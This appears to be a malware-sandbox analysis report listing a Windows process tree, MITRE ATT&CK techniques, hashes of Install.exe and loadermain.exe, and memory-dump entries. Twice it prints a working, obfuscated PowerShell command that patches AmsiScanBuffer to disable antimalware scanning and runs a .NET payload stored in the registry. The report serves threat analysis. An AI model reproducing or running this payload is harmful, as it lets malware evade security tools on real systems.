PID:2620

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -s RmSvc
1⤵
PID:2636

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s WinHttpAutoProxySvc
1⤵
- Modifies data under HKEY_USERS
PID:2752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceNetworkRestricted -p -s Wcmsvc
1⤵
PID:2940

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k netsvcs -p -s ShellHWDetection
1⤵
PID:2992

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
1⤵
PID:712

C:\Windows\System32\spoolsv.exe
C:\Windows\System32\spoolsv.exe
1⤵
PID:3080

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s webthreatdefusersvc
1⤵
PID:3156

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k NetworkService -p -s LanmanWorkstation
1⤵
PID:3196

C:\Windows\System32\ShellHost.exe
"C:\Windows\System32\ShellHost.exe"
1⤵
PID:3476

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s IKEEXT
1⤵
PID:3644

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s LanmanServer
1⤵
PID:3672

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s TrkWks
1⤵
PID:3684

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Winmgmt
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:3692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s WpnService
1⤵
PID:3700

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k NetworkServiceNetworkRestricted -p -s PolicyAgent
1⤵
PID:3752

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k ClipboardSvcGroup -p -s cbdhsvc
1⤵
PID:3360

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Appinfo
1⤵
PID:936

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4368

C:\Windows\System32\RuntimeBroker.exe
C:\Windows\System32\RuntimeBroker.exe -Embedding
1⤵
PID:4432

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k UdkSvcGroup -s UdkUserSvc
1⤵
PID:4464

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k osprivacy -p -s camsvc
1⤵
PID:4592

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
PID:4900

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{973D20D7-562D-44B9-B70B-5A0F49CCDF3F}
1⤵
PID:5136

C:\Windows\System32\smartscreen.exe
C:\Windows\System32\smartscreen.exe -Embedding
1⤵
PID:5192

C:\Windows\System32\SecurityHealthSystray.exe
"C:\Windows\System32\SecurityHealthSystray.exe"
1⤵
PID:5236

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k WebThreatDefense -p -s webthreatdefsvc
1⤵
PID:5600

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s DeviceInstall
1⤵
PID:4268

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalService -p -s CDPSvc
1⤵
PID:4964

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalSystemNetworkRestricted -p -s StorSvc
1⤵
PID:4736

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalService -p -s LicenseManager
1⤵
PID:2208

C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe
"C:\Program Files\Common Files\Microsoft Shared\ClickToRun\OfficeClickToRun.exe" /service
1⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3024

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s wlidsvc
1⤵
PID:5264

C:\Windows\system32\cmd.exe
cmd.exe /c "powershell.exe -Command ""function Local:AXVTBMyfAVWq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uqnXnZLxhvIHDA,[Parameter(Position=1)][Type]$wLhTrphNjv)$uoshfdziLwS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+'e'+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'A'+'n'+''+'s'+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'A'+''+'u'+'to'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$uoshfdziLwS.DefineConstructor(''+'R'+'T'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+'i'+'deByS'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uqnXnZLxhvIHDA).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$uoshfdziLwS.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+','+'V'+'i'+'r'+''+'t'+'u'+[Char](97)+''+'l'+'',$wLhTrphNjv,$uqnXnZLxhvIHDA).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $uoshfdziLwS.CreateType();}$dorniddUiFyXH=([AppDomain]::CurrentDomain.GetAssemblies()^|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+'s');$BmgjcDEbGIpRWH=$dorniddUiFyXH.GetMethod(''+'G'+'e'+'t'+'P'+'r'+'oc'+[Char](65)+'dd'+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+','+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cYtFDswltItWDoiKfqc=AXVTBMyfAVWq @([String])([IntPtr]);$vtNBeOeiWFvXzhiPpDyRio=AXVTBMyfAVWq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BpAOVzlpyQR=$dorniddUiFyXH.GetMethod(''+'G'+'e'+[Char](116)+'Mo'+'d'+'u'+[Char](108)+'eH'+'a'+''+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'ern'+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$OCZzPHItGXuzco=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$BpAOVzlpyQR,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$rLyAgJVFGVwEhABVe=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$BpAOVzlpyQR,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+'c'+[Char](116)+'')));$gUysrzd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OCZzPHItGXuzco,$cYtFDswltItWDoiKfqc).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+'.d'+[Char](108)+'l');$gTkKZqbwSieTflGji=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$gUysrzd,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$SAvRtNAWrA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rLyAgJVFGVwEhABVe,$vtNBeOeiWFvXzhiPpDyRio).Invoke($gTkKZqbwSieTflGji,[uint32]8,4,[ref]$SAvRtNAWrA);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](217-86),[Byte](62+173),[Byte](177-177),[Byte](130+54),[Byte](200-113),[Byte](229-229),[Byte](173-166),[Byte](52+76),[Byte](135-4),[Byte](199+35),[Byte](20-20),[Byte](15+180),[Byte](60+71),[Byte](222-30),[Byte](4-4)),0,$gTkKZqbwSieTflGji,93-78);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rLyAgJVFGVwEhABVe,$vtNBeOeiWFvXzhiPpDyRio).Invoke($gTkKZqbwSieTflGji,[uint32]8,0x20,[ref]$SAvRtNAWrA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](78)+''+[Char](82)+''+[Char](115)+'t'+[Char](97)+'g'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)"""
1⤵
- Executes a command shell one-liner
- System Time Discovery
- Suspicious use of WriteProcessMemory
PID:1548
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -Command ""function Local:AXVTBMyfAVWq{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$uqnXnZLxhvIHDA,[Parameter(Position=1)][Type]$wLhTrphNjv)$uoshfdziLwS=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+'R'+''+[Char](101)+''+[Char](102)+''+[Char](108)+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+'d'+'D'+''+'e'+''+'l'+''+'e'+'g'+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+''+[Char](110)+'M'+[Char](101)+''+'m'+''+[Char](111)+''+'r'+''+[Char](121)+''+[Char](77)+''+[Char](111)+''+'d'+'ul'+'e'+'',$False).DefineType(''+[Char](77)+''+'y'+''+[Char](68)+''+[Char](101)+'l'+'e'+''+[Char](103)+''+[Char](97)+''+[Char](116)+'e'+[Char](84)+''+[Char](121)+''+[Char](112)+''+[Char](101)+'',''+'C'+''+[Char](108)+''+[Char](97)+''+[Char](115)+''+[Char](115)+''+','+''+[Char](80)+''+[Char](117)+'b'+'l'+''+[Char](105)+''+'c'+''+[Char](44)+''+[Char](83)+''+'e'+''+[Char](97)+''+[Char](108)+'e'+[Char](100)+''+[Char](44)+'A'+'n'+''+'s'+'i'+[Char](67)+''+[Char](108)+''+[Char](97)+''+'s'+'s'+[Char](44)+''+'A'+''+'u'+'to'+[Char](67)+''+[Char](108)+'a'+[Char](115)+''+[Char](115)+'',[MulticastDelegate]);$uoshfdziLwS.DefineConstructor(''+'R'+'T'+[Char](83)+''+'p'+''+[Char](101)+''+[Char](99)+''+'i'+''+[Char](97)+''+[Char](108)+''+'N'+''+[Char](97)+''+[Char](109)+''+[Char](101)+''+[Char](44)+'H'+'i'+'deByS'+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+[Char](105)+'c',[Reflection.CallingConventions]::Standard,$uqnXnZLxhvIHDA).SetImplementationFlags(''+[Char](82)+'u'+[Char](110)+''+'t'+''+'i'+''+[Char](109)+''+[Char](101)+','+[Char](77)+''+'a'+''+[Char](110)+''+[Char](97)+''+[Char](103)+'ed');$uoshfdziLwS.DefineMethod('I'+[Char](110)+''+'v'+''+'o'+''+'k'+''+[Char](101)+'',''+[Char](80)+''+[Char](117)+''+'b'+''+[Char](108)+''+'i'+''+[Char](99)+''+[Char](44)+'H'+[Char](105)+'de'+[Char](66)+''+[Char](121)+''+[Char](83)+''+'i'+''+'g'+''+','+''+[Char](78)+''+'e'+''+[Char](119)+''+'S'+'l'+[Char](111)+''+'t'+','+'V'+'i'+'r'+''+'t'+'u'+[Char](97)+''+'l'+'',$wLhTrphNjv,$uqnXnZLxhvIHDA).SetImplementationFlags('R'+'u'+'n'+[Char](116)+''+'i'+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+'n'+[Char](97)+''+'g'+'e'+'d'+'');Write-Output $uoshfdziLwS.CreateType();}$dorniddUiFyXH=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And $_.Location.Split('\')[-1].Equals(''+[Char](83)+''+[Char](121)+''+'s'+''+[Char](116)+'em'+[Char](46)+'d'+[Char](108)+''+[Char](108)+'')}).GetType('M'+[Char](105)+''+[Char](99)+''+[Char](114)+''+[Char](111)+'s'+'o'+''+'f'+'t'+[Char](46)+''+[Char](87)+''+[Char](105)+'n'+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](85)+'n'+[Char](115)+''+'a'+''+'f'+''+[Char](101)+''+[Char](78)+''+[Char](97)+''+[Char](116)+''+[Char](105)+''+'v'+''+[Char](101)+'M'+[Char](101)+''+'t'+''+[Char](104)+''+[Char](111)+''+'d'+'s');$BmgjcDEbGIpRWH=$dorniddUiFyXH.GetMethod(''+'G'+'e'+'t'+'P'+'r'+'oc'+[Char](65)+'dd'+'r'+'e'+[Char](115)+''+[Char](115)+'',[Reflection.BindingFlags](''+'P'+''+[Char](117)+''+[Char](98)+''+'l'+'i'+[Char](99)+''+','+''+[Char](83)+''+'t'+''+'a'+''+[Char](116)+''+'i'+''+[Char](99)+''),$Null,[Reflection.CallingConventions]::Any,@((New-Object IntPtr).GetType(),[string]),$Null);$cYtFDswltItWDoiKfqc=AXVTBMyfAVWq @([String])([IntPtr]);$vtNBeOeiWFvXzhiPpDyRio=AXVTBMyfAVWq @([IntPtr],[UIntPtr],[UInt32],[UInt32].MakeByRefType())([Bool]);$BpAOVzlpyQR=$dorniddUiFyXH.GetMethod(''+'G'+'e'+[Char](116)+'Mo'+'d'+'u'+[Char](108)+'eH'+'a'+''+'n'+''+[Char](100)+'l'+'e'+'').Invoke($Null,@([Object](''+[Char](107)+'ern'+[Char](101)+''+[Char](108)+''+[Char](51)+''+[Char](50)+''+[Char](46)+''+[Char](100)+'l'+[Char](108)+'')));$OCZzPHItGXuzco=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$BpAOVzlpyQR,[Object](''+'L'+''+[Char](111)+''+[Char](97)+'dL'+[Char](105)+''+[Char](98)+''+[Char](114)+''+[Char](97)+''+'r'+''+[Char](121)+'A')));$rLyAgJVFGVwEhABVe=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$BpAOVzlpyQR,[Object](''+[Char](86)+''+[Char](105)+''+'r'+''+[Char](116)+''+[Char](117)+'a'+[Char](108)+''+[Char](80)+''+'r'+''+'o'+'t'+[Char](101)+'c'+[Char](116)+'')));$gUysrzd=[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($OCZzPHItGXuzco,$cYtFDswltItWDoiKfqc).Invoke(''+[Char](97)+''+[Char](109)+''+[Char](115)+''+'i'+'.d'+[Char](108)+'l');$gTkKZqbwSieTflGji=$BmgjcDEbGIpRWH.Invoke($Null,@([Object]$gUysrzd,[Object](''+[Char](65)+''+[Char](109)+''+'s'+''+'i'+''+[Char](83)+''+'c'+''+[Char](97)+''+[Char](110)+'B'+[Char](117)+''+[Char](102)+''+[Char](102)+''+'e'+''+'r'+'')));$SAvRtNAWrA=0;[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rLyAgJVFGVwEhABVe,$vtNBeOeiWFvXzhiPpDyRio).Invoke($gTkKZqbwSieTflGji,[uint32]8,4,[ref]$SAvRtNAWrA);[Runtime.InteropServices.Marshal]::Copy([Byte[]]([Byte](217-86),[Byte](62+173),[Byte](177-177),[Byte](130+54),[Byte](200-113),[Byte](229-229),[Byte](173-166),[Byte](52+76),[Byte](135-4),[Byte](199+35),[Byte](20-20),[Byte](15+180),[Byte](60+71),[Byte](222-30),[Byte](4-4)),0,$gTkKZqbwSieTflGji,93-78);[Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($rLyAgJVFGVwEhABVe,$vtNBeOeiWFvXzhiPpDyRio).Invoke($gTkKZqbwSieTflGji,[uint32]8,0x20,[ref]$SAvRtNAWrA);[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+'T'+'W'+'A'+''+[Char](82)+''+[Char](69)+'').GetValue(''+[Char](78)+''+[Char](82)+''+[Char](115)+'t'+[Char](97)+'g'+'e'+''+'r'+'')).EntryPoint.Invoke($Null,$Null)""
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Drops file in Windows directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4356

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k WerSvcGroup
1⤵
PID:3780

C:\Windows\system32\wbem\wmiprvse.exe
C:\Windows\system32\wbem\wmiprvse.exe -secured -Embedding
1⤵
- Checks processor information in registry
- Enumerates system info in registry
PID:908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Indicator Removal

T1070

Clear Windows Event Logs

T1070.001

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Time Discovery

T1124

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

Install.exe

Path C:\Users\Admin\AppData\Local\Temp\Install.exe
Size 174KB
SHA256 65939d7a37a4def1c3bd6608cbbde99e33c80df917dfa485675f10ea63fa7e6b
MD5 567c817301f8c1c472dc514d4c4c0e0c
SHA1 5259f5abad00c0a1a50b8a671dce05b91dd5aba8
SHA512 e39f1d8fa0fe9e123bba421be145670c21538f19008aa1d1699cf0e13347beda91196d6b026448304e8269859d30754e64e2680c4504ee651556aeef3caa615d
SSDEEP 3072:FQps90YV43yuSThdjEB/aanUKBD15aJtKpH4Lo9N5SDZqrzNbGmO9PaMrP2S:FQps90YwyuyLjgPUKBDzaJtKnjusymI
TLSH
T15B04024ADFD8096AF9F945376EF7480424B0B96A4E07DA4E46B050BD8D733884A7733B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

loadermain.exe

Path C:\Users\Admin\AppData\Local\Temp\loadermain.exe
Size 3.4MB
SHA256 7800924e552159716d84563743af8abe85b5c0fc8017e6d247d8b42db575fd4b
MD5 8ccdcb66b6b9c065fc7d4aadb698a083
SHA1 c12a23ecbbccc441b9a9fcc9f82ae18fb4252837
SHA512 e9ed68b8e5443f0ee2a6fc032ddd96b86e37ecb2e5c55bf1be43e9aa1c73564941e2c656534e24eb76b80ece62f9820434b09a83a2269a700ab85ff31d95a128
SSDEEP 49152:Z2N+Gisu0nF/gVjGg0/ZjTUio9mK+6ekmkum86RGn0/Ikm1FefJqA+6Jq768LaD+:Zg+Gy31Jh9mhAjRG0/Ikm1yJvJY/
TLSH
T1F2F5338E649D78D2DAB721F4782E3A840D119E704FC0D9D1DDEC228F6BD3D945E6A80B
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/544-63-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/544-56-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/544-61-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/544-62-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/544-66-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/544-65-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/544-64-0x0000021641160000-0x000002164118C000-memory.dmp

Download

memory/740-45-0x000001D5C2FF0000-0x000001D5C2FF9000-memory.dmp

Download

memory/740-41-0x000001D5C2FF0000-0x000001D5C2FF9000-memory.dmp

Download

memory/740-40-0x000001D5C2FF0000-0x000001D5C2FF9000-memory.dmp

Download

memory/740-39-0x000001D5C2EF0000-0x000001D5C2EF5000-memory.dmp

Download

memory/740-47-0x000001D5C2FF0000-0x000001D5C2FF9000-memory.dmp

Download

memory/740-46-0x000001D5C2FF0000-0x000001D5C2FF9000-memory.dmp

Download

memory/840-75-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/840-78-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/840-76-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/840-77-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/840-70-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/840-80-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/840-79-0x00000164487E0000-0x000001644880C000-memory.dmp

Download

memory/968-49-0x00000164E0300000-0x00000164E0326000-memory.dmp

Download

memory/968-50-0x00000164E0330000-0x00000164E035C000-memory.dmp

Download

memory/1120-90-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-92-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-93-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-84-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-89-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-91-0x00000226322B0000-0x00000226322DC000-memory.dmp

Download

memory/1120-94-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/1180-107-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1180-108-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/1180-98-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1180-106-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1180-103-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1180-104-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1180-105-0x0000026F2C150000-0x0000026F2C17C000-memory.dmp

Download

memory/1276-112-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1276-120-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1276-122-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/1276-119-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1276-121-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1276-117-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1276-118-0x000001D693DB0000-0x000001D693DDC000-memory.dmp

Download

memory/1360-135-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-132-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-126-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-131-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-133-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-134-0x000001A2C6950000-0x000001A2C697C000-memory.dmp

Download

memory/1360-136-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/1368-149-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-140-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-145-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-146-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-147-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-148-0x0000029836EC0000-0x0000029836EEC000-memory.dmp

Download

memory/1368-150-0x00007FF8E6900000-0x00007FF8E6910000-memory.dmp

Download

memory/1384-159-0x000001FC36F40000-0x000001FC36F6C000-memory.dmp

Download

memory/1384-160-0x000001FC36F40000-0x000001FC36F6C000-memory.dmp

Download

memory/1384-154-0x000001FC36F40000-0x000001FC36F6C000-memory.dmp

Download

memory/2552-1034-0x00000000007B0000-0x0000000001400000-memory.dmp

Download

memory/2552-1031-0x00000000007B0000-0x0000000001400000-memory.dmp

Download

memory/2672-2-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2672-0-0x00007FF903B0F000-0x00007FF903B10000-memory.dmp

Download

memory/2672-22-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2672-5-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2672-3-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/2672-1-0x00000000009E0000-0x0000000000D7E000-memory.dmp

Download

memory/3220-1035-0x0000000000C00000-0x0000000001850000-memory.dmp

Download

memory/3220-34-0x0000000000C00000-0x0000000001850000-memory.dmp

Download

memory/3220-965-0x0000000000C00000-0x0000000001850000-memory.dmp

Download

memory/3220-18-0x0000000000C00000-0x0000000001850000-memory.dmp

Download

memory/4356-35-0x000001FCFE350000-0x000001FCFE37E000-memory.dmp

Download

memory/4356-27-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-26-0x000001FCFE300000-0x000001FCFE322000-memory.dmp

Download

memory/4356-25-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-28-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-29-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-30-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-31-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-32-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-33-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download

memory/4356-36-0x00007FF9267C0000-0x00007FF926A23000-memory.dmp

Download

memory/4356-37-0x00007FF924120000-0x00007FF9244C1000-memory.dmp

Download

memory/4356-38-0x00007FF925500000-0x00007FF9255C7000-memory.dmp

Download

memory/4356-51-0x00007FF903980000-0x00007FF904324000-memory.dmp

Download